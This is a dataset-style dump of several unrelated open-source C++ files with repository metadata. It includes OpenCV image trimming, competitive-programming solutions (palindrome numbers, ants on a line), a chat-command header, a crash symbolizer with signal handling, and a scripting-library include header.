Trimming/ImageInfo.cpp
AinoMegumi/TokidolRankingOCREngine
225bf6fe328aa4dcd653bf095aff88632c9bac96
[ "MIT" ]
null
null
null
#include "ImageInfo.hpp" #include "HttpException.hpp" #include <filesystem> ImageInfo::ImageInfo(const std::string& FilePath) { try { if (!std::filesystem::exists(FilePath)) throw HttpException(404); this->image = cv::imread(FilePath, 1); if (this->image.empty()) throw HttpException(); } catch (const HttpException& hex) { throw hex; } catch (...) { throw HttpException(500); } } ImageInfo::ImageInfo(const cv::Mat& imagedata, const RECT& rc) { try { if (rc.left < 0 || rc.left > imagedata.cols) throw std::out_of_range("left is out of image.\n" + std::to_string(rc.left) + "-" + std::to_string(imagedata.rows)); if (rc.right < 0 || rc.right > imagedata.cols) throw std::out_of_range("right is out of image.\n" + std::to_string(rc.right) + "-" + std::to_string(imagedata.rows)); if (rc.top < 0 || rc.top > imagedata.rows) throw std::out_of_range("top is out of range.\n" + std::to_string(rc.top) + "-" + std::to_string(imagedata.cols)); if (rc.bottom < 0 || rc.bottom > imagedata.rows) throw std::out_of_range("bottom is out of range.\n" + std::to_string(rc.bottom) + "-" + std::to_string(imagedata.cols)); if (rc.right < rc.left) throw std::runtime_error("left is over right"); if (rc.bottom < rc.top) throw std::runtime_error("bottom is over top"); cv::Rect roi(cv::Point(rc.left, rc.top), cv::Size(rc.right - rc.left, rc.bottom - rc.top)); this->image = imagedata(roi); } catch (const std::out_of_range& o) { throw HttpException(400, o.what()); } catch (const std::runtime_error& r) { throw HttpException(400, r.what()); } } ImageInfo::ImageInfo(cv::Mat&& imagedata) : image(std::move(imagedata)) {} ImageInfo ImageInfo::operator ~ () { return ImageInfo(~this->image); } ImageInfo ImageInfo::trim(const RECT rc) const { return ImageInfo(this->image, rc); } ImageInfo ImageInfo::ToGrayScale() const { cv::Mat dest; cv::cvtColor(this->image, dest, cv::COLOR_RGB2GRAY); return ImageInfo(std::move(dest)); } ImageInfo ImageInfo::Binarization() const { const double threshold = 100.0; const double maxValue = 255.0; cv::Mat dest; cv::threshold(this->image, dest, threshold, maxValue, cv::THRESH_BINARY); return ImageInfo(std::move(dest)); } ImageInfo ImageInfo::InvertColor() const { cv::Mat dest; cv::bitwise_not(this->image, dest); return ImageInfo(std::move(dest)); } ImageInfo ImageInfo::Resize(const double Ratio) const { cv::Mat dest; cv::resize(this->image, dest, cv::Size(), Ratio, Ratio); return ImageInfo(std::move(dest)); } cv::Mat& ImageInfo::ref() { return this->image; } const cv::Mat& ImageInfo::ref() const { return this->image; } cv::Size ImageInfo::GetSize() const { return cv::Size(this->image.cols, this->image.rows); } void ImageInfo::WriteOut(const std::string& FileName) const { if (std::filesystem::exists(FileName.c_str())) return; cv::imwrite(FileName, this->image); } void ImageInfo::View(const std::string& WindowName) const { cv::imshow(WindowName, this->image); }
34.511628
171
0.685984
AinoMegumi
7232718585b49ce58577ade9572f732a47f3b927
1,657
cpp
C++
P009-PalindromeNumber/P009-PalindromeNumber/main.cpp
rlan/LeetCode
0521e27097a01a0a2ba2af30f3185d8bb5e3e227
[ "MIT" ]
null
null
null
P009-PalindromeNumber/P009-PalindromeNumber/main.cpp
rlan/LeetCode
0521e27097a01a0a2ba2af30f3185d8bb5e3e227
[ "MIT" ]
null
null
null
P009-PalindromeNumber/P009-PalindromeNumber/main.cpp
rlan/LeetCode
0521e27097a01a0a2ba2af30f3185d8bb5e3e227
[ "MIT" ]
null
null
null
// // LeetCode // Algorithm 9 Palindrome Number // // Created by Rick Lan on 3/30/17. // See LICENSE // #include <iostream> using namespace std; class Solution { public: bool isPalindrome(int x) { if (x >= 0) { long long save = x; long long mag2 = 0; while (x) { int digit = x % 10; mag2 = mag2 * 10 + digit; x = x / 10; } return (save == mag2); } else { return false; } } }; int main(int argc, const char * argv[]) { Solution solution; int x; x = 0; cout << x << ": " << solution.isPalindrome(x) << endl; x = 121; cout << x << ": " << solution.isPalindrome(x) << endl; x = -121; cout << x << ": " << solution.isPalindrome(x) << endl; x = 321; cout << x << ": " << solution.isPalindrome(x) << endl; x = -321; cout << x << ": " << solution.isPalindrome(x) << endl; x = 9999; cout << x << ": " << solution.isPalindrome(x) << endl; x = -9999; cout << x << ": " << solution.isPalindrome(x) << endl; x = 1987667891; cout << x << ": " << solution.isPalindrome(x) << endl; x = -1987667891; cout << x << ": " << solution.isPalindrome(x) << endl; x = 2147447412; cout << x << ": " << solution.isPalindrome(x) << endl; x = -2147447412; cout << x << ": " << solution.isPalindrome(x) << endl; x = -2147483648; cout << x << ": " << solution.isPalindrome(x) << endl; x = 1563847412; cout << x << ": " << solution.isPalindrome(x) << endl; /* Input: -2147447412 Output: true Expected: false -2147483648 */ return 0; }
26.301587
75
0.494267
rlan
72353b7b4849861f1ec9f35c08f48f96e2c7a150
282
cpp
C++
Pbinfo/Puteri3.cpp
Al3x76/cpp
08a0977d777e63e0d36d87fcdea777de154697b7
[ "MIT" ]
7
2019-01-06T19:10:14.000Z
2021-10-16T06:41:23.000Z
Pbinfo/Puteri3.cpp
Al3x76/cpp
08a0977d777e63e0d36d87fcdea777de154697b7
[ "MIT" ]
null
null
null
Pbinfo/Puteri3.cpp
Al3x76/cpp
08a0977d777e63e0d36d87fcdea777de154697b7
[ "MIT" ]
6
2019-01-06T19:17:30.000Z
2020-02-12T22:29:17.000Z
#include <iostream> using namespace std; #include <iostream> using namespace std; int f(int n, int p){ if(n){ if(n%2==1) cout<<p<<" "; f(n/2, p*2); } } int main() { int n, p; cin>>n; f(n, 1); return 0; } int main(){ return 0; }
9.096774
32
0.475177
Al3x76
7236aee6f6ec5ed4b01cdfdbae4afa800c4f3f66
3,280
hpp
C++
src/menu/livechat/livechat_cmd.hpp
DarXe/Logus
af80cdcaccde3c536ef2b47d36912d9a505f7ef6
[ "0BSD" ]
6
2019-06-11T20:09:01.000Z
2021-05-28T01:18:27.000Z
src/menu/livechat/livechat_cmd.hpp
DarXe/Logus
af80cdcaccde3c536ef2b47d36912d9a505f7ef6
[ "0BSD" ]
7
2019-06-14T20:28:31.000Z
2020-08-11T14:51:03.000Z
src/menu/livechat/livechat_cmd.hpp
DarXe/Logus
af80cdcaccde3c536ef2b47d36912d9a505f7ef6
[ "0BSD" ]
1
2020-11-07T05:28:23.000Z
2020-11-07T05:28:23.000Z
// Copyright © 2020 Niventill // This file is licensed under ISC License. See "LICENSE" in the top level directory for more info. #ifndef LCCMD_HPP_INCLUDED #define LCCMD_HPP_INCLUDED //standard libraries #include <string> #include <string_view> namespace LCCommand { void CheckCommandInput(const std::string &line); void PreCheckCommandInput(const std::string &line, bool &isAutoJoin); void Reconnect(const std::string_view line); void Quit(const std::string_view line); void StartTimer(const std::string_view linee); void SetNick(const std::string &line); void SetTrack(const std::string_view line); void SetTimer(const std::string_view line); void AddNickname(const std::string_view line); void DelNickname(const std::string_view line); void SetMoney(const std::string &line); void SetCourses(const std::string &line); void SetLoadingTime(const std::string_view line); void Reset(const std::string_view line); void HardReset(const std::string_view line); void FindTransfers(const std::string_view line); void FindWord(const std::string &line); void OpenConfig(const std::string_view line); void OpenConsoleLog(const std::string_view line); void OpenLogusLog(const std::string_view line); void Timestamp(const std::string_view line); void TimestampBeep(const std::string_view line); void RenderEngine(const std::string_view line); void RenderEngineBeep(const std::string_view line); void ClearChat(const std::string_view line); void ClearChatBeep(const std::string_view line); void SetMax(const std::string &line); void SetMin(const std::string &line); void SetRefresh(const std::string &line); void SetDynamicRefresh(const std::string_view line); void SetDynamicRefreshBeep(const std::string_view line); void AutoReconnect(const std::string_view line, bool &isAutoJoin); void AutoReconnectBeep(const std::string_view line); } // namespace LCCommand namespace LCCmdEvent { bool Reconnect(const std::string_view line); bool Quit(const std::string_view line); bool StartTimer(const std::string_view linee); bool SetNick(const std::string_view line); bool SetTrack(const std::string_view line); bool SetTimer(const std::string_view line); bool AddNickname(const std::string_view line); bool DelNickname(const std::string_view line); bool SetMoney(const std::string_view line); bool SetCourses(const std::string_view line); bool SetLoadingTime(const std::string_view line); bool Reset(const std::string_view line); bool HardReset(const std::string_view line); bool FindTransfers(const std::string_view line); bool FindWord(const std::string_view line); bool OpenConfig(const std::string_view line); bool OpenConsoleLog(const std::string_view line); bool OpenLogusLog(const std::string_view line); bool Timestamp(const std::string_view line); bool RenderEngine(const std::string_view line); bool ClearChat(const std::string_view line); bool SetMax(const std::string_view line); bool SetMin(const std::string_view line); bool SetRefresh(const std::string_view line); bool SetDynamicRefresh(const std::string_view line); bool AutoReconnect(const std::string_view line); bool CheckCommandEvents(const std::string_view line); } // namespace LCCmdEvent #endif
40
99
0.767988
DarXe
7237a84aa0f26f11fa821252ca68ca07e6386805
2,078
cc
C++
bindings/builtin/symbolizer.cc
SolovyovAlexander/reindexer
2c6fcd957c1743b57a4ce9a7963b52dffc13a519
[ "Apache-2.0" ]
null
null
null
bindings/builtin/symbolizer.cc
SolovyovAlexander/reindexer
2c6fcd957c1743b57a4ce9a7963b52dffc13a519
[ "Apache-2.0" ]
null
null
null
bindings/builtin/symbolizer.cc
SolovyovAlexander/reindexer
2c6fcd957c1743b57a4ce9a7963b52dffc13a519
[ "Apache-2.0" ]
null
null
null
#include <iostream> #ifndef _WIN32 #include <signal.h> #endif // _WIN32 #include <sstream> #include "debug/backtrace.h" #include "debug/resolver.h" #include "estl/string_view.h" static std::unique_ptr<reindexer::debug::TraceResolver> resolver{nullptr}; struct cgoTracebackArg { uintptr_t context; uintptr_t sigContext; uintptr_t* buf; uintptr_t max; }; struct cgoSymbolizerArg { uintptr_t pc; const char* file; uintptr_t lineno; const char* func; uintptr_t entry; uintptr_t more; uintptr_t data; }; extern "C" void cgoSymbolizer(cgoSymbolizerArg* arg) { if (!resolver) resolver = reindexer::debug::TraceResolver::New(); // Leak it! auto* te = new reindexer::debug::TraceEntry(arg->pc); if (resolver->Resolve(*te)) { arg->file = te->srcFile_.data(); arg->func = te->funcName_.data(); arg->lineno = te->srcLine_; } } #ifdef _WIN32 extern "C" void cgoSignalsInit() {} #else // !_WIN32 static struct sigaction oldsa[32]; static void cgoSighandler(int sig, siginfo_t* info, void* ucontext) { reindexer::debug::print_crash_query(std::cout); if (sig < 32) { struct sigaction &old = oldsa[sig]; if (old.sa_flags & SA_SIGINFO) { (old.sa_sigaction)(sig, info, ucontext); } else { (old.sa_handler)(sig); } } else { std::exit(-1); } } extern "C" void cgoSignalsInit() { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = cgoSighandler; sa.sa_flags = SA_ONSTACK | SA_RESTART | SA_SIGINFO; sigaction(SIGSEGV, &sa, &oldsa[SIGSEGV]); sigaction(SIGABRT, &sa, &oldsa[SIGABRT]); sigaction(SIGBUS, &sa, &oldsa[SIGBUS]); } #endif // _WIN32 extern "C" void cgoTraceback(cgoTracebackArg* arg) { reindexer::string_view method; void* addrlist[64] = {}; if (arg->context != 0) { arg->buf[0] = 0; return; } uintptr_t addrlen = reindexer::debug::backtrace_internal(addrlist, sizeof(addrlist) / sizeof(addrlist[0]), reinterpret_cast<void*>(arg->context), method); if (addrlen > 3) memcpy(arg->buf, addrlist + 3, std::min(addrlen - 3, arg->max) * sizeof(void*)); }
25.036145
107
0.674687
SolovyovAlexander
72392a72adb54165350e4aa1c868b60090ffcdb7
2,521
cpp
C++
Chapter_3_Problem_Solving_Paradigms/Greedy/kattis_andrewant.cpp
BrandonTang89/CP4_Code
5114471f439978dd11f6f2cbf6af20ca654593da
[ "MIT" ]
2
2021-12-29T04:12:59.000Z
2022-03-30T09:32:19.000Z
Chapter_3_Problem_Solving_Paradigms/Greedy/kattis_andrewant.cpp
BrandonTang89/CP4_Code
5114471f439978dd11f6f2cbf6af20ca654593da
[ "MIT" ]
null
null
null
Chapter_3_Problem_Solving_Paradigms/Greedy/kattis_andrewant.cpp
BrandonTang89/CP4_Code
5114471f439978dd11f6f2cbf6af20ca654593da
[ "MIT" ]
1
2022-03-01T06:12:46.000Z
2022-03-01T06:12:46.000Z
/**Kattis - andrewant * If we imagine the line as being infinitely long, eventually we reach a point where we have 2 * groups of ants: a left walking group on the left on a right walking group. Now observe that * since 2 ants never cross, it means that the order of the ants at this stage is the same as the * order of ants at the start. As such, the right-most left walking ant is the kth ant at the start, * where the ants are ordered from left to right and there are k left walking ants. Similarly, the * left-most right walking ant is the k+1th ant at the start. These 2 ants are the only candidates * for the longest standing ant. * * Time: O(n log n), Space: O(n) */ #pragma GCC optimize("Ofast") #pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,avx2,fma") #pragma GCC optimize("unroll-loops") #include <bits/stdc++.h> using namespace std; int l, n, max_n; vector<int> ants; // initial positions of the ants int main() { while (cin >> l >> n) { int num_moving_left = 0; max_n = 0; int longest_moving_left = -1, longest_moving_right = -1; ants.clear(); for (int i = 0; i < n; i++) { int x; char dir; cin >> x >> dir; ants.emplace_back(x); num_moving_left += (dir == 'L'); if (dir == 'L') { if (longest_moving_left == -1) { longest_moving_left = x; } else { longest_moving_left = max(longest_moving_left, x); } } else if (dir == 'R') { if (longest_moving_right == -1) { longest_moving_right = l - x; } else { longest_moving_right = max(longest_moving_right, l - x); } } } sort(ants.begin(), ants.end()); if (longest_moving_left == longest_moving_right) { printf("The last ant will fall down in %d seconds - started at %d and %d.\n", longest_moving_left, ants[num_moving_left - 1], ants[num_moving_left]); } else if (longest_moving_left > longest_moving_right) { printf("The last ant will fall down in %d seconds - started at %d.\n", longest_moving_left, ants[num_moving_left - 1]); } else { printf("The last ant will fall down in %d seconds - started at %d.\n", longest_moving_right, ants[num_moving_left]); } } return 0; }
41.327869
100
0.575169
BrandonTang89
5cf9af244805d5fd3ca60471488613bc152ea208
1,847
hpp
C++
include/tribalscript/libraries/libraries.hpp
Ragora/TribalScript
b7f7cc6b311cee1422f1c7dffd58c85c4f29cc1d
[ "MIT" ]
null
null
null
include/tribalscript/libraries/libraries.hpp
Ragora/TribalScript
b7f7cc6b311cee1422f1c7dffd58c85c4f29cc1d
[ "MIT" ]
1
2021-07-24T16:29:11.000Z
2021-07-26T20:00:17.000Z
include/tribalscript/libraries/libraries.hpp
Ragora/TribalScript
b7f7cc6b311cee1422f1c7dffd58c85c4f29cc1d
[ "MIT" ]
null
null
null
/** * Copyright 2021 Robert MacGregor * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <tribalscript/libraries/string.hpp> #include <tribalscript/libraries/math.hpp> #include <tribalscript/libraries/core.hpp> #include <tribalscript/libraries/simset.hpp> #include <tribalscript/libraries/simgroup.hpp> #include <tribalscript/libraries/scriptobject.hpp> #include <tribalscript/libraries/fileobject.hpp> namespace TribalScript { static void registerAllLibraries(Interpreter* interpreter) { registerStringLibrary(interpreter); registerMathLibrary(interpreter); registerCoreLibrary(interpreter); registerSimSetLibrary(interpreter); registerSimGroupLibrary(interpreter); registerScriptObjectLibrary(interpreter); registerFileObjectLibrary(interpreter); } }
48.605263
207
0.777477
Ragora
cf01771bccdb23495a3cad033a0212f0a9195a90
6,146
cpp
C++
lib/data_base.cpp
titouanlacombe/DCLP-Projet
80fe4b8468ee8a9ab5cc8ab5a7dabf759973afd0
[ "MIT" ]
null
null
null
lib/data_base.cpp
titouanlacombe/DCLP-Projet
80fe4b8468ee8a9ab5cc8ab5a7dabf759973afd0
[ "MIT" ]
null
null
null
lib/data_base.cpp
titouanlacombe/DCLP-Projet
80fe4b8468ee8a9ab5cc8ab5a7dabf759973afd0
[ "MIT" ]
1
2021-04-15T16:45:21.000Z
2021-04-15T16:45:21.000Z
#include "data_base.h" #include "mylog.h" #define CMP_FILE_NAME "/Companies.csv" #define JOB_FILE_NAME "/Jobs.csv" #define WRK_FILE_NAME "/Workers.csv" #define CMP_FIRST_LINE "Name,Zip code,email" #define JOB_FIRST_LINE "Title,Skills,Company" #define WRK_FIRST_LINE "First name,Last name,email,Zip code,Skills,Co-workers,Company" void load(std::string folder) { if (!path_exist(folder)) system(("mkdir -p " + folder).c_str()); std::ifstream cmp_file, job_file, wrk_file; cmp_file.open("./" + folder + CMP_FILE_NAME); job_file.open("./" + folder + JOB_FILE_NAME); wrk_file.open("./" + folder + WRK_FILE_NAME); //------------------------COMPANIES-------------------------- std::string line, it, it2; std::getline(cmp_file, line); if (line != CMP_FIRST_LINE) { cmp_file.close(); std::ofstream new_file; new_file.open("./" + folder + CMP_FILE_NAME); new_file << CMP_FIRST_LINE << "\n"; new_file.close(); } else { std::getline(cmp_file, line); while (!line.empty()) { mygetline(line, it, ','); // name std::string name = it; mygetline(line, it, ','); // zip_code std::string zip_code = it; mygetline(line, it); // email std::string email = it; new Company(name, zip_code, email); std::getline(cmp_file, line); } } //------------------------JOBS-------------------------- std::getline(job_file, line); if (line != JOB_FIRST_LINE) { job_file.close(); std::ofstream new_file; new_file.open("./" + folder + JOB_FILE_NAME); new_file << JOB_FIRST_LINE << "\n"; new_file.close(); } else { std::getline(job_file, line); while (!line.empty()) { mygetline(line, it, ','); // title std::string title = it; Job* j = new Job(title, NULL); mygetline(line, it, ','); // skills while (mygetline(it, it2, ';')) j->add_skill(it2); mygetline(line, it); // company j->company = get_company(it); std::getline(job_file, line); } } //------------------------WORKERS-------------------------- List<std::string> co_workers_names; // first line workers std::getline(wrk_file, line); if (line != WRK_FIRST_LINE) { wrk_file.close(); std::ofstream new_file; new_file.open("./" + folder + WRK_FILE_NAME); new_file << WRK_FIRST_LINE << "\n"; new_file.close(); } else { std::getline(wrk_file, line); while (!line.empty()) { mygetline(line, it, ','); // first name std::string first_name = it; mygetline(line, it, ','); // last name std::string last_name = it; mygetline(line, it, ','); // email std::string email = it; Worker* w = new Worker(first_name, last_name, email); mygetline(line, it, ','); // zip code w->set_zip_code(it); mygetline(line, it, ','); // skills while (mygetline(it, it2, ';')) w->add_skill(it2); mygetline(line, it, ','); // co_workers co_workers_names.addlast(new std::string(it)); mygetline(line, it); // company w->set_company(get_company(it)); std::getline(wrk_file, line); } } // Linking co_workers auto workers = get_workers(); if (workers) { std::string tmp_str; auto wrk_it = workers->first(); auto id_it = co_workers_names.first(); while (wrk_it != workers->end()) { if (!(* *id_it).empty()) { tmp_str = * *id_it; while (mygetline(tmp_str, it, ';')) (*wrk_it)->co_workers.addlast(get_worker(it)); } wrk_it++; id_it++; } } co_workers_names.delete_data(); cmp_file.close(); job_file.close(); wrk_file.close(); } void save(std::string folder) { if (!path_exist(folder)) system(("mkdir -p " + folder).c_str()); std::ofstream cmp_file, job_file, wrk_file; cmp_file.open("./" + folder + CMP_FILE_NAME); job_file.open("./" + folder + JOB_FILE_NAME); wrk_file.open("./" + folder + WRK_FILE_NAME); //------------------------WORKERS-------------------------- wrk_file << WRK_FIRST_LINE << "\n"; auto workers = get_workers(); if (workers) { auto wrk_it = workers->first(); while (wrk_it != workers->end()) { // first name,last name,email,zip code wrk_file << (*wrk_it)->first_name << "," << (*wrk_it)->last_name << "," << (*wrk_it)->email << "," << (*wrk_it)->zip_code << ","; // Skills auto skl_it2 = (*wrk_it)->skills.first(); while (skl_it2 != (*wrk_it)->skills.last()) { wrk_file << * *skl_it2 << ";"; skl_it2++; } if (skl_it2 != (*wrk_it)->skills.end()) wrk_file << * *skl_it2; wrk_file << ","; // co_workers auto coll_it = (*wrk_it)->co_workers.first(); while (coll_it != (*wrk_it)->co_workers.last()) { wrk_file << (*coll_it)->first_name << " " << (*coll_it)->last_name << ";"; coll_it++; } if (coll_it != (*wrk_it)->co_workers.end()) wrk_file << (*coll_it)->first_name << " " << (*coll_it)->last_name; wrk_file << ","; // company if ((*wrk_it)->employed()) wrk_file << (*wrk_it)->company->name; wrk_file << "\n"; wrk_it++; } } //------------------------JOBS-------------------------- job_file << JOB_FIRST_LINE << "\n"; auto jobs = get_jobs(); if (jobs) { auto job_it = jobs->first(); while (job_it != jobs->end()) { // title job_file << (*job_it)->title << ","; // Skills auto skl_it = (*job_it)->skills.first(); while (skl_it != (*job_it)->skills.last()) { job_file << * *skl_it << ";"; skl_it++; } if (skl_it != (*job_it)->skills.end()) job_file << * *skl_it; job_file << ","; // Company job_file << (*job_it)->company->name << "\n"; job_it++; } } //------------------------COMPANIES-------------------------- cmp_file << CMP_FIRST_LINE << "\n"; auto companies = get_companies(); if (companies) { auto cmp_it = companies->first(); while (cmp_it != companies->end()) { Company* c = *cmp_it; // name,zip code,email cmp_file << c->name << "," << c->zip_code << "," << c->email << "\n"; cmp_it++; delete c; } } wrk_file.close(); job_file.close(); cmp_file.close(); if (workers) { workers->delete_data(); delete workers; } if (jobs) { jobs->delete_data(); delete jobs; } if (companies) { companies->delete_data(); delete companies; } }
22.932836
114
0.5685
titouanlacombe
cf0341f3c79b5a19a8495c5319ce729e08218e98
415
hpp
C++
include/svgpp/policy/xml/fwd.hpp
RichardCory/svgpp
801e0142c61c88cf2898da157fb96dc04af1b8b0
[ "BSL-1.0" ]
428
2015-01-05T17:13:54.000Z
2022-03-31T08:25:47.000Z
include/svgpp/policy/xml/fwd.hpp
andrew2015/svgpp
1d2f15ab5e1ae89e74604da08f65723f06c28b3b
[ "BSL-1.0" ]
61
2015-01-08T14:32:27.000Z
2021-12-06T16:55:11.000Z
include/svgpp/policy/xml/fwd.hpp
andrew2015/svgpp
1d2f15ab5e1ae89e74604da08f65723f06c28b3b
[ "BSL-1.0" ]
90
2015-05-19T04:56:46.000Z
2022-03-26T16:42:50.000Z
// Copyright Oleg Maximenko 2014. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://github.com/svgpp/svgpp for library home page. #pragma once namespace svgpp { namespace policy { namespace xml { template<class T> struct attribute_iterator; template<class T> struct element_iterator; }}}
21.842105
61
0.754217
RichardCory
cf054f5fed552a130c636bc86f2ac9fa777d4eed
7,541
cpp
C++
xfile/XFileReader.cpp
ryutorion/DirectX11ShaderProgrammingBook
2407dafec283bac2f195bcdf48ffae024f819d80
[ "MIT" ]
2
2021-01-12T13:40:45.000Z
2021-01-12T23:55:22.000Z
xfile/XFileReader.cpp
ryutorion/DirectX11ShaderProgrammingBook
2407dafec283bac2f195bcdf48ffae024f819d80
[ "MIT" ]
null
null
null
xfile/XFileReader.cpp
ryutorion/DirectX11ShaderProgrammingBook
2407dafec283bac2f195bcdf48ffae024f819d80
[ "MIT" ]
null
null
null
#include "XFileReader.h" #include <utility> #include "XFileMesh.h" namespace { constexpr uint32_t XFileMagic = 'x' | ('o' << 8) | ('f' << 16) | (' ' << 24); constexpr uint32_t XFileFormatBinary = 'b' | ('i' << 8) | ('n' << 16) | (' ' << 24); constexpr uint32_t XFileFormatText = 't' | ('x' << 8) | ('t' << 16) | (' ' << 24); constexpr uint32_t XFileFormatCompressed = 'c' | ('m' << 8) | ('p' << 16) | (' ' << 24); constexpr uint32_t XFileFormatFloatBits32 = '0' | ('0' << 8) | ('3' << 16) | ('2' << 24); constexpr uint32_t XFileFormatFloatBits64 = '0' | ('0' << 8) | ('6' << 16) | ('4' << 24); std::istream & operator>>(std::istream & in, xfile::TokenType & token) { if(in.eof()) { token = xfile::TokenType::None; return in; } int16_t t; in.read(reinterpret_cast<char *>(&t), sizeof(t)); switch(static_cast<xfile::TokenType>(t)) { case xfile::TokenType::Name: case xfile::TokenType::String: case xfile::TokenType::Integer: case xfile::TokenType::GUID: case xfile::TokenType::IntegerList: case xfile::TokenType::FloatList: case xfile::TokenType::OpenBrace: case xfile::TokenType::CloseBrace: case xfile::TokenType::OpenParen: case xfile::TokenType::CloseParen: case xfile::TokenType::OpenBracket: case xfile::TokenType::CloseBracket: case xfile::TokenType::OpenAngle: case xfile::TokenType::CloseAngle: case xfile::TokenType::Dot: case xfile::TokenType::Comma: case xfile::TokenType::SemiColon: case xfile::TokenType::Template: case xfile::TokenType::Word: case xfile::TokenType::DoubleWord: case xfile::TokenType::Float: case xfile::TokenType::Double: case xfile::TokenType::Char: case xfile::TokenType::UnsignedChar: case xfile::TokenType::SignedWord: case xfile::TokenType::SignedDoubleWord: case xfile::TokenType::Void: case xfile::TokenType::StringPointer: case xfile::TokenType::Unicode: case xfile::TokenType::CString: case xfile::TokenType::Array: token = static_cast<xfile::TokenType>(t); break; default: if(in.eof()) { token = xfile::TokenType::None; } else { token = xfile::TokenType::Error; } break; } return in; } } namespace xfile { XFileReader::XFileReader(const char * p_file_path) { open(p_file_path); } XFileReader::~XFileReader() { close(); } bool XFileReader::open(const char * p_file_path) { if(mFin.is_open()) { return false; } mFin.open(p_file_path, std::ios::in | std::ios::binary); if(!mFin) { return false; } uint32_t magic; mFin.read(reinterpret_cast<char *>(&magic), sizeof(magic)); if(magic != XFileMagic) { return false; } // ドキュメントではバージョンは0302となっているが, // DirectX 9シェーダプログラミングブックのバージョンは0303のため // いったんバージョンは無視する uint32_t version; mFin.read(reinterpret_cast<char *>(&version), sizeof(version)); uint32_t format; mFin.read(reinterpret_cast<char *>(&format), sizeof(format)); switch(format) { case XFileFormatBinary: mFormat = Format::Binary; break; case XFileFormatText: mFormat = Format::Text; break; case XFileFormatCompressed: mFormat = Format::Compressed; break; default: return false; } uint32_t float_format; mFin.read(reinterpret_cast<char *>(&float_format), sizeof(float_format)); switch(float_format) { case XFileFormatFloatBits32: mFloatFormat = FloatFormat::Bits32; break; case XFileFormatFloatBits64: mFloatFormat = FloatFormat::Bits64; break; default: return false; } return true; } bool XFileReader::read(XFile & xfile) { if(!readNextTokenType()) { return false; } while(true) { XFileObject object; if(!readObject(object)) { break; } if(object.name.compare("Mesh") == 0) { XFileMesh mesh; if(!mesh.setup(object)) { return false; } xfile.meshes.emplace_back(std::move(mesh)); } if(!readNextTokenType()) { return false; } if(mNextTokenType == TokenType::None) { break; } } return true; } bool XFileReader::close() { if(mFin.is_open()) { mFin.close(); } return true; } bool XFileReader::readObject(XFileObject & object) { if(mNextTokenType == TokenType::Name) { if(!readName(object.name)) { return false; } if(!readNextTokenType()) { return false; } } else { return false; } if(mNextTokenType == TokenType::Name) { if(!readName(object.optionalName)) { return false; } if(!readNextTokenType()) { return false; } } if(mNextTokenType != TokenType::OpenBrace) { return false; } if(!readNextTokenType()) { return false; } while(mNextTokenType != TokenType::CloseBrace) { XFileData data; switch(mNextTokenType) { case TokenType::Name: data.dataType = DataType::Object; data.object.reset(new XFileObject); if(!readObject(*data.object)) { return false; } break; case TokenType::IntegerList: if(!readIntegerList(data)) { return false; } break; case TokenType::FloatList: if(!readFloatList(data)) { return false; } break; case TokenType::String: if(!readString(data)) { return false; } break; default: return false; } object.dataArray.emplace_back(std::move(data)); if(!readNextTokenType()) { return false; } } return true; } bool XFileReader::readNextTokenType() { mFin >> mNextTokenType; if(mNextTokenType == TokenType::Error) { return false; } return true; } bool XFileReader::readName(std::string & s) { uint32_t length; mFin.read(reinterpret_cast<char *>(&length), sizeof(length)); s.resize(length); mFin.read(s.data(), length); return true; } bool XFileReader::readGUID() { uint32_t data1; mFin.read(reinterpret_cast<char *>(&data1), sizeof(data1)); uint16_t data2; mFin.read(reinterpret_cast<char *>(&data2), sizeof(data2)); uint16_t data3; mFin.read(reinterpret_cast<char *>(&data3), sizeof(data3)); uint8_t data4[8]; mFin.read(reinterpret_cast<char *>(data4), sizeof(data4)); return true; } bool XFileReader::readIntegerList(XFileData & data) { uint32_t count; mFin.read(reinterpret_cast<char *>(&count), sizeof(count)); data.dataType = DataType::Integer; data.numberList.resize(count); mFin.read(reinterpret_cast<char *>(data.numberList.data()), sizeof(uint32_t) * count); return true; } bool XFileReader::readFloatList(XFileData & data) { uint32_t count; mFin.read(reinterpret_cast<char *>(&count), sizeof(count)); if(mFloatFormat == FloatFormat::Bits32) { data.dataType = DataType::Float; data.floatList.resize(count); mFin.read(reinterpret_cast<char *>(data.floatList.data()), sizeof(float) * count); } else if(mFloatFormat == FloatFormat::Bits64) { data.dataType = DataType::Double; data.doubleList.resize(count); mFin.read(reinterpret_cast<char *>(data.doubleList.data()), sizeof(double) * count); } else { return false; } return true; } bool XFileReader::readString(XFileData & data) { uint32_t count; mFin.read(reinterpret_cast<char *>(&count), sizeof(count)); std::string s(count, '\0'); mFin.read(reinterpret_cast<char *>(s.data()), count); if(!readNextTokenType()) { return false; } if(mNextTokenType != TokenType::Comma && mNextTokenType != TokenType::SemiColon) { return false; } data.dataType = DataType::String; data.stringList.emplace_back(std::move(s)); return true; } }
19.536269
90
0.645936
ryutorion
cf06c8504f2a049772631c08e8411b6afc6deb4a
2,691
cpp
C++
device/src/startup/initialise-interrupts-stack.cpp
micro-os-plus/architecture-cortexm-xpack
3d0aa622dbaea7571f5e1858a5ac2b05d71ca132
[ "MIT" ]
null
null
null
device/src/startup/initialise-interrupts-stack.cpp
micro-os-plus/architecture-cortexm-xpack
3d0aa622dbaea7571f5e1858a5ac2b05d71ca132
[ "MIT" ]
1
2021-02-04T17:24:27.000Z
2021-02-05T11:06:10.000Z
